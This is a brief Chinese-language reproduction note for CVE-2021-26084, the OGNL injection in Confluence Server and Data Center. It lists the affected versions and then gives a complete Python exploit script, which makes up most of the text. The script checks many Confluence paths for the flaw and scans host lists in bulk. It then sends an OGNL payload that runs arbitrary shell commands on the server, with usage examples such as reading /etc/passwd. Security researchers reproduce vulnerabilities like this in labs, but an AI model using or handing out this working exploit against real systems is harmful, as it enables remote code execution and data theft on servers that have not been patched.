1、简介
远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,可构造OGNL表达式进行注入,实现在 Confluence Server或Data Center上执行任意代码
2、版本
- Confluence < 6.13.23
- 6.14.0 ≤ Confluence < 7.4.11
- 7.5.0 ≤ Confluence < 7.11.6
- 7.12.0 ≤ Confluence < 7.12.5
- Confluence < 7.13.0
3、搭建
docker
4、复现
poc:
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
@File : PoC.py
@Time : 2021/09/01 14:16:26
@Author : _0xf4n9x_
@Version : 1.0
@Contact : fanq.xu@gmail.com
"""
import random
import requests
import sys
import os
import urllib3
import argparse
from bs4 import BeautifulSoup
urllib3.disable_warnings()
proxy = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
def usage():
print("Eg: \n python3 PoC.py -u http://127.0.0.1")
print(" python3 PoC.py -u httts://127.0.0.1 -e 'cat /etc/passwd'")
print(" python3 PoC.py -f urls.txt")
def poc(host):
paths = ['/pages/createpage-entervariables.action?SpaceKey=x', '/pages/createpage-entervariables.action', '/confluence/pages/createpage-entervariables.action?SpaceKey=x', '/confluence/pages/createpage-entervariables.action', '/wiki/pages/createpage-entervariables.action?SpaceKey=x', '/wiki/pages/createpage-entervariables.action', '/pages/doenterpagevariables.action', '/pages/createpage.action?spaceKey=myproj', '/pages/templates2/viewpagetemplate.action', '/pages/createpage-entervariables.action', '/template/custom/content-editor', '/templates/editor-preload-container', '/users/user-dark-features']
for path in paths:
url = host + path
headers = {
"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1",
"Content-Type": "application/x-www-form-urlencoded"}
num1 = random.randint(100, 10000)
num2 = random.randint(100, 10000)
sum = num1 * num2
params = {
"queryString": "aaaa\\u0027+{" + str(num1) + "*" + str(num2) + "}+\\u0027bbb"}
try:
res = requests.post(url, headers=headers, data=params,
timeout=6, verify=False, proxies=None)
if str(sum) in res.text:
print("[+] " + host + path + " is vulnerable!")
return path
else:
continue
except:
continue
print("[-] " + host + " is not vulnerable!")
return 0
def exp(host, command, path):
url = host + path
headers = {
"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1",
"Content-Type": "application/x-www-form-urlencoded"}
params = {
"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022" + command + "\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
res = requests.post(url, headers=headers, data=params,
timeout=6, verify=False, proxies=None).text
soup = BeautifulSoup(res, "html5lib")
# content = soup.find(method="POST").find_all('input')[1]["value"]
content = soup.find('input', attrs={'name': 'queryString', 'type': 'hidden'})[
'value']
print(content.replace('aaaaaaaa[', '').replace('\n]', ''))
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="CVE-2021-26084 Remote Code Execution on Confluence Servers")
parser.add_argument('-u', '--url', type=str,
help="vulnerability verification for individual websites")
parser.add_argument('-e', '--exec', type=str,
help="command execution")
parser.add_argument('-f', '--file', type=str,
help="perform vulnerability checks on multiple websites in a file, and the vulnerable websites will be output to the success.txt file")
args = parser.parse_args()
if len(sys.argv) == 3:
if sys.argv[1] in ['-u', '--url']:
poc(args.url)
elif sys.argv[1] in ['-f', '--file']:
if os.path.isfile(args.file) == True:
with open(args.file) as target:
hosts = []
hosts = target.read().splitlines()
for host in hosts:
if poc(host) != 0:
with open("success.txt", "a+") as f:
f.write(host + "\n")
elif len(sys.argv) == 5:
if set([sys.argv[1], sys.argv[3]]) < set(['-u', '--url', '-e', '--exec']):
path = poc(args.url)
if path != 0:
exp(args.url, args.exec, path)
else:
parser.print_help()
usage()